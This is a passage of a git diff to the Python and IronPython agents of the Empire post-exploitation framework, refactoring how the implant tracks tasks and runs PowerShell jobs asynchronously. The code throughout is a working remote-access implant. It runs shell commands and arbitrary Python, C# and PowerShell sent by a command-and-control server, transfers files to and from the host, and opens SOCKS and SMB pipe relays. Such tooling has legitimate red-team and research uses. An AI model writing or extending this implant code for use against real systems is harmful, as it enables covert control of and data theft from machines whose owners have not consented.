"error" + except Exception as e: self.packet_handler.send_message( self.packet_handler.build_response_packet( - 122, "Unable to decompress zip file: %s" % (e), resultID + 122, "Unable to decompress zip file: %s" % (e), result_id ) ) + self.tasks[result_id]["status"] = "error" zdata = dec_data["data"] zf = zipfile.ZipFile(io.BytesIO(zdata), "r") if fileName in list(moduleRepo.keys()): self.packet_handler.send_message( self.packet_handler.build_response_packet( - 122, "%s module already exists" % (fileName), resultID + 122, "%s module already exists" % (fileName), result_id ) ) else: @@ -771,11 +824,12 @@ def script_load(self, data, resultID): self.install_hook(fileName) self.packet_handler.send_message( self.packet_handler.build_response_packet( - 122, "Successfully imported %s" % (fileName), resultID + 122, "Successfully imported %s" % (fileName), result_id ) ) + self.tasks[result_id]["status"] = "completed" - def view_loaded_modules(self, data, resultID): + def view_loaded_modules(self, data, result_id): """ View loaded modules. Task 123 @@ -788,17 +842,22 @@ def view_loaded_modules(self, data, resultID): loadedModules += "\n----" + key + "----\n" loadedModules += "\n".join(moduleRepo[key].namelist()) - self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, result_id)) + self.tasks[result_id]["status"] = "completed" + else: try: loadedModules = "\n----" + repoName + "----\n" loadedModules += "\n".join(moduleRepo[repoName].namelist()) - self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, result_id)) + self.tasks[result_id]["status"] = "completed" + except Exception as e: msg = "Unable to retrieve repo contents: %s" % (str(e)) - self.packet_handler.send_message(self.packet_handler.build_response_packet(123, msg, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, msg, result_id)) + self.tasks[result_id]["status"] = "error" - def remove_module(self, data, resultID): + def remove_module(self, data, result_id): """ Remove a module. """ @@ -808,34 +867,38 @@ def remove_module(self, data, resultID): del moduleRepo[repoName] self.packet_handler.send_message( self.packet_handler.build_response_packet( - 124, "Successfully remove repo: %s" % (repoName), resultID + 124, "Successfully remove repo: %s" % (repoName), result_id ) ) + self.tasks[result_id]["status"] = "completed" + except Exception as e: self.packet_handler.send_message( self.packet_handler.build_response_packet( - 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID + 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), result_id ) ) + self.tasks[result_id]["status"] = "error" - def start_job(self, code, resultID): + def start_python_job(self, code, result_id): # create a new code block with a defined method name - codeBlock = "def method():\n" + indent(code[1:]) + code_block = "def method():\n" + indent(code) # register the code block - code_obj = compile(codeBlock, "", "exec") + code_obj = compile(code_block, "", "exec") # code needs to be in the global listing # not the locals() scope exec(code_obj, globals()) # create/process Packet start/return the thread # call the job_func so sys data can be captured - codeThread = KThread(target=self.job_func, args=(resultID,)) - codeThread.start() + code_thread = KThread(target=self.python_job_func, args=(result_id,)) + code_thread.start() - self.jobs[resultID] = codeThread + self.tasks[result_id]['thread'] = code_thread + self.tasks[result_id]["status"] = "running" - def job_func(self, resultID): + def python_job_func(self, result_id): try: buffer = StringIO() sys.stdout = buffer @@ -843,25 +906,28 @@ def job_func(self, resultID): # and capture the output via sys method() sys.stdout = sys.__stdout__ - dataStats_2 = buffer.getvalue() - result = self.packet_handler.build_response_packet(110, str(dataStats_2), resultID) + data_stats = buffer.getvalue() + result = self.packet_handler.build_response_packet(110, str(data_stats), result_id) self.packet_handler.process_job_tasking(result) + self.tasks[result_id]["status"] = "completed" + except Exception as e: p = "error executing specified Python job data: " + str(e) - result = self.packet_handler.build_response_packet(0, p, resultID) + result = self.packet_handler.build_response_packet(0, p, result_id) self.packet_handler.process_job_tasking(result) + self.tasks[result_id]["status"] = "error" def job_message_buffer(self, message): # Supports job messages for checkin try: - self.jobMessageBuffer += str(message) + self.job_message_buffer += str(message) except Exception as e: - print(e) + print("[!] Error adding job output to buffer: %s" % (e)) def get_job_message_buffer(self): try: - result = self.packet_handler.build_response_packet(110, str(self.jobMessageBuffer)) - self.jobMessageBuffer = "" + result = self.packet_handler.build_response_packet(110, str(self.job_message_buffer)) + self.job_message_buffer = "" return result except Exception as e: return self.packet_handler.build_response_packet(0, "[!] Error getting job output: %s" % (e)) @@ -1094,121 +1160,151 @@ def get_sysinfo(self, server, nonce='00000000'): nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, pyVersion, architecture) - def process_packet(self, packetType, data, resultID): + def process_packet(self, packet_type, data, result_id): try: - packetType = int(packetType) - except Exception as e: - return None - - if packetType == 1: - # sysinfo request - # get_sysinfo should be exposed from stager.py - self.packet_handler.send_message(self.packet_handler.build_response_packet(1, self.get_sysinfo(server=self.server), resultID)) - - elif packetType == 2: - # agent exit - self.packet_handler.send_message(self.packet_handler.build_response_packet(2, "", resultID)) - self.agent_exit() + packet_type = int(packet_type) + if packet_type == 61: + # Avoids tracking temp tasks + self.socksqueue.put(base64.b64decode(data.encode("UTF-8"))) + return - elif packetType == 34: - # TASK_SET_PROXY - pass + else: + self.tasks[result_id] = { + "result_id": result_id, + "packet_type": packet_type, + "status": "started", + "thread": None, + "language": None, + "powershell": + { + "app_domain": None, + "ps_host": None, + "buffer": None, + "ps_host_exec": None + } + } + + if packet_type == 1: + # sysinfo request + # get_sysinfo should be exposed from stager.py + self.packet_handler.send_message(self.packet_handler.build_response_packet(1, self.get_sysinfo(server=self.server), result_id)) + self.tasks[result_id]["status"] = "completed" + + elif packet_type == 2: + # agent exit + self.packet_handler.send_message(self.packet_handler.build_response_packet(2, "", result_id)) + self.agent_exit() + + elif packet_type == 34: + # TASK_SET_PROXY + self.tasks[result_id]["status"] = "unimplemented" + pass - elif packetType == 40: - self.run_prebuilt_command(data, resultID) + elif packet_type == 40: + self.run_prebuilt_command(data, result_id) - elif packetType == 41: - self.file_download(data, resultID) + elif packet_type == 41: + self.file_download(data, result_id) - elif packetType == 42: - self.file_upload(data, resultID) + elif packet_type == 42: + self.file_upload(data, result_id) - elif packetType == 43: - self.directory_list(data, resultID) + elif packet_type == 43: + self.directory_list(data, result_id) - elif packetType == 44: - self.csharp_execute(data, resultID) + elif packet_type == 44: + self.csharp_execute(data, result_id) - elif packetType == 50: - self.job_list(resultID) + elif packet_type == 50: + self.job_list(result_id) - elif packetType == 51: - self.stop_job(data, resultID) + elif packet_type == 51: + self.stop_job(data, result_id) - elif packetType == 60: - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 0, "[!] SOCKS Server not implemented", resultID + elif packet_type == 60: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, "[!] SOCKS Server not implemented", result_id + ) ) - ) - elif packetType == 61: - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 0, "[!] SOCKS Server not implemented", resultID + elif packet_type == 61: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, "[!] SOCKS Server not implemented", result_id + ) ) - ) - elif packetType == 70: - self.start_smb_pipe_server(data, resultID) + elif packet_type == 70: + self.start_smb_pipe_server(data, result_id) - elif packetType == 100: - self.dynamic_code_execute_wait_nosave(data, resultID) + elif packet_type == 100: + self.dynamic_code_execute_wait_nosave(data, result_id) - elif packetType == 101: - self.dynamic_code_execution_wait_save(data, resultID) + elif packet_type == 101: + self.dynamic_code_execution_wait_save(data, result_id) - elif packetType == 102: - self.disk_code_execution_wait_save(data, resultID) + elif packet_type == 102: + self.disk_code_execution_wait_save(data, result_id) - elif packetType == 110: - self.start_job(data, resultID) + elif packet_type == 110: + self.start_python_job(data, result_id) - elif packetType == 111: - # TASK_CMD_JOB_SAVE - pass + elif packet_type == 111: + # TASK_CMD_JOB_SAVE + self.tasks[result_id]["status"] = "unimplemented" + pass - elif packetType == 112: - self.powershell_task(data, resultID) + elif packet_type == 112: + self.powershell_task(data, result_id) - elif packetType == 118: - self.powershell_task_dyanmic_code_wait_nosave(data, resultID) + elif packet_type == 118: + self.powershell_task_dyanmic_code_wait_nosave(data, result_id) - elif packetType == 119: - pass + elif packet_type == 119: + self.tasks[result_id]["status"] = "unimplemented" + pass - elif packetType == 121: - self.script_command(data, resultID) + elif packet_type == 121: + self.script_command(data, result_id) - elif packetType == 122: - self.script_load(data, resultID) + elif packet_type == 122: + self.script_load(data, result_id) - elif packetType == 123: - self.view_loaded_modules(data, resultID) + elif packet_type == 123: + self.view_loaded_modules(data, result_id) - elif packetType == 124: - self.remove_module(data, resultID) + elif packet_type == 124: + self.remove_module(data, result_id) - elif packetType == 130: - # Dynamically update agent comms - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 0, "[!] Switch agent comms not implemented", resultID + elif packet_type == 130: + # Dynamically update agent comms + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, "[!] Switch agent comms not implemented", result_id + ) ) - ) + self.tasks[result_id]["status"] = "unimplemented" - elif packetType == 131: - # Update the listener name variable - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 0, "[!] Switch agent comms not implemented", resultID + elif packet_type == 131: + # Update the listener name variable + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, "[!] Switch agent comms not implemented", result_id + ) ) - ) + self.tasks[result_id]["status"] = "unimplemented" - else: + else: + self.packet_handler.send_message( + self.packet_handler.build_response_packet(0, "invalid tasking ID: %s" % (packet_type), result_id) + ) + self.tasks[result_id]["status"] = "error" + except Exception as e: self.packet_handler.send_message( - self.packet_handler.build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID) + self.packet_handler.build_response_packet(0, "error processing packet: %s" % (e), result_id) ) + self.tasks[result_id]["status"] = "error" def run(self): while True: diff --git a/empire/server/data/agent/ironpython_agent.py b/empire/server/data/agent/ironpython_agent.py index 40721b75c..13fdcb04c 100644 --- a/empire/server/data/agent/ironpython_agent.py +++ b/empire/server/data/agent/ironpython_agent.py @@ -36,6 +36,8 @@ clr.AddReference("System.Management.Automation") from System.Management.Automation import Runspaces +from System.Management.Automation import PowerShell, PSDataCollection, PSObject, DataAddedEventArgs +from System.Management.Automation.Runspaces import RunspaceFactory ################################################ # @@ -45,7 +47,6 @@ moduleRepo = {} _meta_cache = {} - def old_div(a, b): """ Equivalent to ``a / b`` on Python 2 without ``from __future__ import @@ -180,10 +181,10 @@ def remove_hook(repoName): ################################################ class Server(secretsocks.Server): # Initialize our data channel - def __init__(self, q, resultID): + def __init__(self, q, result_id): secretsocks.Server.__init__(self) self.queue = q - self.resultID = resultID + self.result_id = result_id self.alive = True self.start() @@ -205,7 +206,7 @@ def write(self): data = self.writebuf.get(timeout=10) self.packet_handler.send_message( self.packet_handler.build_response_packet( - 61, base64.b64encode(data).decode("UTF-8"), self.resultID + 61, base64.b64encode(data).decode("UTF-8"), self.result_id ) ) except Queue.Empty: @@ -400,10 +401,10 @@ def __init__(self, self.defaultResponse = base64.b64decode("") self.packet_handler.missedCheckins = 0 self.sessionID = session_id - self.jobMessageBuffer = "" + self.job_message_buffer = "" self.socksthread = False self.socksqueue = None - self.jobs = {} + self.tasks = {} parts = self.profile.split("|") self.userAgent = parts[1] @@ -425,24 +426,23 @@ def __init__(self, def agent_exit(self): # exit for proper job / thread cleanup - if len(self.jobs) > 0: + if len(self.tasks) > 0: try: - for x in self.jobs: - self.jobs[x].kill() - self.jobs.pop(x) + for x in self.tasks: + self.tasks[x]['thread'].kill() except: # die hard if thread kill fails pass sys.exit() def send_job_message_buffer(self): - if len(self.jobs) > 0: + if self.job_message_buffer != "": result = self.get_job_message_buffer() self.packet_handler.process_job_tasking(result) else: pass - def run_prebuilt_command(self, data, resultID): + def run_prebuilt_command(self, data, result_id): """ Run a command on the system and return the results. Task 40 @@ -450,15 +450,17 @@ def run_prebuilt_command(self, data, resultID): parts = data.split(" ") if len(parts) == 1: data = parts[0] - resultData = str(self.run_command(data)) - self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID)) + result_data = str(self.run_command(data)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(40, result_data, result_id)) else: cmd = parts[0] cmdargs = " ".join(parts[1: len(parts)]) - resultData = str(self.run_command(cmd, cmdargs=cmdargs)) - self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID)) + result_data = str(self.run_command(cmd, cmdargs=cmdargs)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(40, result_data, result_id)) + + self.tasks[result_id]["status"] = "completed" - def file_download(self, data, resultID): + def file_download(self, data, result_id): """ Download a file from the server. Task 41 @@ -468,7 +470,7 @@ def file_download(self, data, resultID): if not os.path.exists(objPath): self.packet_handler.send_message( self.packet_handler.build_response_packet( - 40, "file does not exist or cannot be accessed", resultID + 40, "file does not exist or cannot be accessed", result_id ) ) @@ -501,7 +503,7 @@ def file_download(self, data, resultID): if not encodedPart or encodedPart == "" or len(encodedPart) == 16: break - self.packet_handler.send_message(self.packet_handler.build_response_packet(41, partData, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(41, partData, result_id)) minSleep = int((1.0 - self.jitter) * self.delay) maxSleep = int((1.0 + self.jitter) * self.delay) @@ -510,7 +512,9 @@ def file_download(self, data, resultID): partIndex += 1 offset += 512000 - def file_upload(self, data, resultID): + self.tasks[result_id]["status"] = "completed" + + def file_upload(self, data, result_id): """ Upload a file to the server. Task 42 @@ -524,20 +528,23 @@ def file_upload(self, data, resultID): f.write(raw) self.packet_handler.send_message( self.packet_handler.build_response_packet( - 42, "[*] Upload of %s successful" % (filePath), resultID + 42, "[*] Upload of %s successful" % (filePath), result_id ) ) + self.tasks[result_id]["status"] = "completed" + except Exception as e: self.packet_handler.send_message( self.packet_handler.build_response_packet( 0, "[!] Error in writing file %s during upload: %s" % (filePath, str(e)), - resultID, + result_id, ) ) + self.tasks[result_id]["status"] = "error" - def directory_list(self, data, resultID): + def directory_list(self, data, result_id): """ List a directory on the target. Task 43 @@ -554,7 +561,7 @@ def directory_list(self, data, resultID): if not os.path.isdir(path): self.packet_handler.send_message( self.packet_handler.build_response_packet( - 43, "Directory {} not found.".format(path), resultID + 43, "Directory {} not found.".format(path), result_id ) ) items = [] @@ -572,9 +579,10 @@ def directory_list(self, data, resultID): } ) - self.packet_handler.send_message(self.packet_handler.build_response_packet(43, result_data, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(43, result_data, result_id)) + self.tasks[result_id]["status"] = "completed" - def csharp_execute(self, data, resultID): + def csharp_execute(self, data, result_id): """ Execute C# module in ironpython using reflection Task 44 @@ -604,7 +612,7 @@ def csharp_execute(self, data, resultID): results = ( assembly.GetType("Task").GetMethod("Execute").Invoke(None, params) ) - result_packet = self.packet_handler.build_response_packet(110, str(results), resultID) + result_packet = self.packet_handler.build_response_packet(110, str(results), result_id) self.packet_handler.process_job_tasking(result_packet) else: @@ -654,48 +662,80 @@ def csharp_job_func(decoded_data, params, pipeClientStream): stream_text = read[0:count] pipeOutput.Append(stream_text) - result_packet = self.packet_handler.build_response_packet(110, str(pipeOutput), resultID) + result_packet = self.packet_handler.build_response_packet(110, str(pipeOutput), result_id) self.packet_handler.process_job_tasking(result_packet) + self.tasks[result_id]["status"] = "completed" + except Exception as e: self.packet_handler.send_message( self.packet_handler.build_response_packet( - 0, "error executing specified Python data %s " % (e), resultID + 0, "error executing specified Python data %s " % (e), result_id ) ) + self.tasks[result_id]["status"] = "error" - def job_list(self, resultID): + def task_list(self, result_id): """ - Return a list of all running agent.jobs. + Return a list of all running agent jobs as a formatted table. + TODO: Return JSON instead of a table. + Task 50 """ - msg = "Active agent.jobs:\n" + self.tasks[result_id]["status"] = "completed" - for key in self.jobs: - msg += "Task %s" % key - self.packet_handler.send_message(self.packet_handler.build_response_packet(50, msg, resultID)) + filtered_tasks = { + task_id: { + "status": task_info.get("status", "N/A") + } for task_id, task_info in self.tasks.items() + } - def stop_job(self, jobID, resultID): + headers = ["Task ID", "Status"] + rows = [[task_id, task_info["status"]] for task_id, task_info in filtered_tasks.items()] + column_widths = [max(len(str(item)) for item in col) for col in zip(*([headers] + rows))] + separator = ' | '.join('-' * width for width in column_widths) + header_line = ' | '.join(headers[i].ljust(column_widths[i]) for i in range(len(headers))) + + table_lines = [header_line, separator] + for row in rows: + row_line = ' | '.join(str(row[i]).ljust(column_widths[i]) for i in range(len(row))) + table_lines.append(row_line) + + tasks_table = '\n'.join(table_lines) + self.packet_handler.send_message(self.packet_handler.build_response_packet(50, tasks_table, result_id)) + + def stop_task(self, job_to_kill, result_id): """ Stop a running job. Task 51 """ try: - self.jobs[int(jobID)].kill() - self.jobs.pop(int(jobID)) - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 51, "[+] Job thread %s stopped successfully" % (jobID), resultID + if self.tasks[job_to_kill]['thread'].is_alive(): + self.tasks[job_to_kill]['thread'].kill() + self.tasks[job_to_kill]['status'] = "stopped" + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 51, "[+] Job thread %s stopped successfully" % (job_to_kill), result_id + ) ) - ) + else: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 51, "[!] Job thread %s already stopped" % (job_to_kill), result_id + ) + ) + + self.tasks[result_id]["status"] = "completed" + except Exception as e: self.packet_handler.send_message( self.packet_handler.build_response_packet( - 51, "[!] Error stopping job thread: %s" % (e), resultID + 51, "[!] Error stopping job thread: %s" % (e), result_id ) ) + self.tasks[result_id]["status"] = "error" - def start_socks_server(self, resultID): + def start_socks_server(self, result_id): """ Start a SOCKS server on the target. Task 60 @@ -704,34 +744,39 @@ def start_socks_server(self, resultID): if not self.socksthread: try: self.socksqueue = Queue.Queue() - self.jobs[resultID] = KThread( + self.tasks[result_id]['thread'] = KThread( target=Server, args=( self.socksqueue, - resultID, + result_id, ), ) - self.jobs[resultID].daemon = True - self.jobs[resultID].start() + self.tasks[result_id]['thread'].daemon = True + self.tasks[result_id]['thread'].start() self.socksthread = True self.packet_handler.send_message( self.packet_handler.build_response_packet( - 60, "[+] SOCKS server successfully started", resultID + 60, "[+] SOCKS server successfully started", result_id ) ) + self.tasks[result_id]["status"] = "running" + except: self.socksthread = False self.packet_handler.send_message( self.packet_handler.build_response_packet( - 60, "[!] SOCKS server failed to start", resultID + 60, "[!] SOCKS server failed to start", result_id ) ) + self.tasks[result_id]["status"] = "error" + else: self.packet_handler.send_message( - self.packet_handler.build_response_packet(60, "[!] SOCKS server already running", resultID) + self.packet_handler.build_response_packet(60, "[!] SOCKS server already running", result_id) ) + self.tasks[result_id]["status"] = "error" - def start_smb_pipe_server(self, data, resultID): + def start_smb_pipe_server(self, data, result_id): """ Start an SMB pipe server on the target. Task 70 @@ -807,8 +852,9 @@ def server_thread_function(pipe_name, hop_name): server_thread = KThread(target=server_thread_function, args=(pipe_name, hop_name,)) server_thread.daemon = True server_thread.start() + self.tasks[result_id]["status"] = "running" - def dynamic_code_execute_wait_nosave(self, data, resultID): + def dynamic_code_execute_wait_nosave(self, data, result_id): """ Execute dynamic code and wait for the results without saving output. Task 100 @@ -820,17 +866,19 @@ def dynamic_code_execute_wait_nosave(self, data, resultID): exec(code_obj, globals()) sys.stdout = sys.__stdout__ results = buffer.getvalue() - self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(results), resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(results), result_id)) + self.tasks[result_id]["status"] = "completed" except Exception as e: errorData = str(buffer.getvalue()) - return self.packet_handler.build_response_packet( + self.packet_handler.build_response_packet( 0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" % (e, errorData), - resultID, + result_id, ) + self.tasks[result_id]["status"] = "error" - def dynamic_code_execution_wait_save(self, data, resultID): + def dynamic_code_execution_wait_save(self, data, result_id): """ Execute dynamic code and wait for the results while saving output. Task 101 @@ -856,9 +904,11 @@ def dynamic_code_execution_wait_save(self, data, resultID): "{0: <15}".format(prefix) + "{0: <5}".format(extension) + encodedPart, - resultID, + result_id, ) ) + self.tasks[result_id]["status"] = "completed" + except Exception as e: # Also return partial code that has been executed errorData = buffer.getvalue() @@ -867,11 +917,12 @@ def dynamic_code_execution_wait_save(self, data, resultID): 0, "error executing specified Python data %s \nBuffer data recovered:\n%s" % (e, errorData), - resultID, + result_id, ) ) + self.tasks[result_id]["status"] = "error" - def disk_code_execution_wait_save(self, data, resultID): + def disk_code_execution_wait_save(self, data, result_id): """ Execute on disk code and wait for the results while saving output. For modules that require multiprocessing not supported by exec @@ -902,7 +953,9 @@ def disk_code_execution_wait_save(self, data, resultID): result += "\n\nError removing module file, please verify path: " + str( implantPath ) - self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(result), resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(result), result_id)) + self.tasks[result_id]["status"] = "completed" + except Exception as e: fileCheck = os.path.isfile(implantPath) if fileCheck: @@ -911,38 +964,87 @@ def disk_code_execution_wait_save(self, data, resultID): 0, "error executing specified Python data: %s \nError removing module file, please verify path: %s" % (e, implantPath), - resultID, + result_id, ) ) self.packet_handler.send_message( self.packet_handler.build_response_packet( - 0, "error executing specified Python data: %s" % (e), resultID + 0, "error executing specified Python data: %s" % (e), result_id ) ) + self.tasks[result_id]["status"] = "error" - def powershell_task(self, data, resultID): + def powershell_task(self, data, result_id): """ Execute a PowerShell command. Task 112 """ - import sys + from System import AppDomain + clr.AddReference("System.Management.Automation") + from System.Management.Automation import PowerShell, PSDataCollection, PSObject, DataAddedEventArgs + data = data.lstrip("\x00") - # todo: make this a job a thread to be trackable - # powershell task - myrunspace = Runspaces.RunspaceFactory.CreateRunspace() - myrunspace.Open() - pipeline = myrunspace.CreatePipeline() - pipeline.Commands.AddScript(data) - results = pipeline.Invoke() - buffer = StringIO() - sys.stdout = buffer - for result in results: - print(result) - sys.stdout = sys.__stdout__ - result_packet = self.packet_handler.build_response_packet(110, str(buffer.getvalue()), resultID) + # Generate a random name + rand_name = ''.join(random.choice("ABCDEFGHKLMNPRSTUVWXYZ123456789") for _ in range(6)) + + # Create a new AppDomain + app_domain = AppDomain.CreateDomain(rand_name) + + # Directly create the PowerShell instance + ps_host = PowerShell.Create() + + # Add the target script into the new runspace/appdomain + ps_host.AddScript(data) + + # Create a buffer for output collection + buffer = PSDataCollection[PSObject]() + + # Subscribe to the DataAdded event + buffer.DataAdded += lambda sender, event_args: self.data_added_handler(sender, event_args, result_id) + + # Kick off asynchronous execution + ps_host_exec = ps_host.BeginInvoke(buffer, buffer) + thread = KThread(target=self.wait_for_powershell_job, args=(result_id,)) + thread.start() + + self.tasks[result_id] = {'app_domain': app_domain, + 'ps_host': ps_host, + 'thread': thread, + 'buffer': buffer, + 'ps_host_exec': ps_host_exec + } + + result_packet = self.packet_handler.build_response_packet(110, "Job Started: %s" % (result_id), result_id) + self.packet_handler.process_job_tasking(result_packet) + self.tasks[result_id]["status"] = "running" + + def data_added_handler(self, sender, event_args, result_id): + buffer = sender + index = event_args.Index + item = buffer[index] + result_packet = self.packet_handler.build_response_packet(110, str(item), result_id) self.packet_handler.process_job_tasking(result_packet) - def powershell_task_dyanmic_code_wait_nosave(self, data, resultID): + def wait_for_powershell_job(self, result_id): + try: + ps_host_exec = self.tasks[result_id]['ps_host_exec'] + ps_host = self.tasks[result_id]['ps_host'] + + # Wait for the job to complete + ps_host.EndInvoke(ps_host_exec) + + # Remove from job list + self.tasks[result_id]['status'] = "completed" + + except Exception as e: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, "Error waiting for job:" % (e), result_id + ) + ) + self.tasks[result_id]["status"] = "error" + + def powershell_task_dyanmic_code_wait_nosave(self, data, result_id): """ Execute a PowerShell command and wait for the results without saving output. Task 118 @@ -950,7 +1052,6 @@ def powershell_task_dyanmic_code_wait_nosave(self, data, resultID): try: data = data.lstrip("\x00") - # powershell task myrunspace = Runspaces.RunspaceFactory.CreateRunspace() myrunspace.Open() pipeline = myrunspace.CreatePipeline() @@ -961,18 +1062,20 @@ def powershell_task_dyanmic_code_wait_nosave(self, data, resultID): for result in results: print(result) - result_packet = self.packet_handler.build_response_packet(110, str(result), resultID) + result_packet = self.packet_handler.build_response_packet(110, str(result), result_id) self.packet_handler.process_job_tasking(result_packet) + self.tasks[result_id]["status"] = "completed" except Exception as e: print(e) self.packet_handler.send_message( self.packet_handler.build_response_packet( - 0, "error executing specified Python data %s " % (e), resultID + 0, "error executing specified Python data %s " % (e), result_id ) ) + self.tasks[result_id]["status"] = "error" - def script_command(self, data, resultID): + def script_command(self, data, result_id): """ Execute a base64 encoded script. Task 121 @@ -985,7 +1088,9 @@ def script_command(self, data, resultID): exec(code_obj, globals()) sys.stdout = sys.__stdout__ result = str(buffer.getvalue()) - self.packet_handler.send_message(self.packet_handler.build_response_packet(121, result, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(121, result, result_id)) + self.tasks[result_id]["status"] = "completed" + except Exception as e: errorData = str(buffer.getvalue()) self.packet_handler.send_message( @@ -993,11 +1098,12 @@ def script_command(self, data, resultID): 0, "error executing specified Python data %s \nBuffer data recovered:\n%s" % (e, errorData), - resultID, + result_id, ) ) + self.tasks[result_id]["status"] = "error" - def script_load(self, data, resultID): + def script_load(self, data, result_id): """ Load a script into memory. Task 122 @@ -1012,34 +1118,40 @@ def script_load(self, data, resultID): if not dec_data["crc32_check"]: self.packet_handler.send_message( self.packet_handler.build_response_packet( - 122, "Failed crc32_check during decompression", resultID + 122, "Failed crc32_check during decompression", result_id ) ) + self.tasks[result_id]["status"] = "error" + except Exception as e: self.packet_handler.send_message( self.packet_handler.build_response_packet( - 122, "Unable to decompress zip file: %s" % (e), resultID + 122, "Unable to decompress zip file: %s" % (e), result_id ) ) + self.tasks[result_id]["status"] = "error" zdata = dec_data["data"] zf = zipfile.ZipFile(io.BytesIO(zdata), "r") if fileName in list(moduleRepo.keys()): self.packet_handler.send_message( self.packet_handler.build_response_packet( - 122, "%s module already exists" % (fileName), resultID + 122, "%s module already exists" % (fileName), result_id ) ) + self.tasks[result_id]["status"] = "error" + else: moduleRepo[fileName] = zf self.install_hook(fileName) self.packet_handler.send_message( self.packet_handler.build_response_packet( - 122, "Successfully imported %s" % (fileName), resultID + 122, "Successfully imported %s" % (fileName), result_id ) ) + self.tasks[result_id]["status"] = "completed" - def view_loaded_modules(self, data, resultID): + def view_loaded_modules(self, data, result_id): """ View loaded modules. Task 123 @@ -1052,17 +1164,22 @@ def view_loaded_modules(self, data, resultID): loadedModules += "\n----" + key + "----\n" loadedModules += "\n".join(moduleRepo[key].namelist()) - self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, result_id)) + self.tasks[result_id]["status"] = "completed" + else: try: loadedModules = "\n----" + repoName + "----\n" loadedModules += "\n".join(moduleRepo[repoName].namelist()) - self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, result_id)) + self.tasks[result_id]["status"] = "completed" + except Exception as e: msg = "Unable to retrieve repo contents: %s" % (str(e)) - self.packet_handler.send_message(self.packet_handler.build_response_packet(123, msg, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, msg, result_id)) + self.tasks[result_id]["status"] = "error" - def remove_module(self, data, resultID): + def remove_module(self, data, result_id): """ Remove a module. """ @@ -1072,34 +1189,38 @@ def remove_module(self, data, resultID): del moduleRepo[repoName] self.packet_handler.send_message( self.packet_handler.build_response_packet( - 124, "Successfully remove repo: %s" % (repoName), resultID + 124, "Successfully remove repo: %s" % (repoName), result_id ) ) + self.tasks[result_id]["status"] = "completed" + except Exception as e: self.packet_handler.send_message( self.packet_handler.build_response_packet( - 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID + 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), result_id ) ) + self.tasks[result_id]["status"] = "error" - def start_job(self, code, resultID): + def start_python_job(self, code, result_id): # create a new code block with a defined method name - codeBlock = "def method():\n" + indent(code[1:]) + code_block = "def method():\n" + indent(code) # register the code block - code_obj = compile(codeBlock, "", "exec") + code_obj = compile(code_block, "", "exec") # code needs to be in the global listing # not the locals() scope exec(code_obj, globals()) # create/process Packet start/return the thread # call the job_func so sys data can be captured - codeThread = KThread(target=self.job_func, args=(resultID,)) - codeThread.start() + code_thread = KThread(target=self.python_job_func, args=(result_id,)) + code_thread.start() - self.jobs[resultID] = codeThread + self.tasks[result_id]['thread'] = code_thread + self.tasks[result_id]["status"] = "running" - def job_func(self, resultID): + def python_job_func(self, result_id): try: buffer = StringIO() sys.stdout = buffer @@ -1107,25 +1228,28 @@ def job_func(self, resultID): # and capture the output via sys method() sys.stdout = sys.__stdout__ - dataStats_2 = buffer.getvalue() - result = self.packet_handler.build_response_packet(110, str(dataStats_2), resultID) + data_stats = buffer.getvalue() + result = self.packet_handler.build_response_packet(110, str(data_stats), result_id) self.packet_handler.process_job_tasking(result) + self.tasks[result_id]["status"] = "completed" + except Exception as e: p = "error executing specified Python job data: " + str(e) - result = self.packet_handler.build_response_packet(0, p, resultID) + result = self.packet_handler.build_response_packet(0, p, result_id) self.packet_handler.process_job_tasking(result) + self.tasks[result_id]["status"] = "error" def job_message_buffer(self, message): # Supports job messages for checkin try: - self.jobMessageBuffer += str(message) + self.job_message_buffer += str(message) except Exception as e: print(e) def get_job_message_buffer(self): try: - result = self.packet_handler.build_response_packet(110, str(self.jobMessageBuffer)) - self.jobMessageBuffer = "" + result = self.packet_handler.build_response_packet(110, str(self.job_message_buffer)) + self.job_message_buffer = "" return result except Exception as e: return self.packet_handler.build_response_packet(0, "[!] Error getting job output: %s" % (e)) @@ -1392,113 +1516,141 @@ def get_sysinfo(self, server, nonce='00000000'): nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, pyVersion, architecture) - def 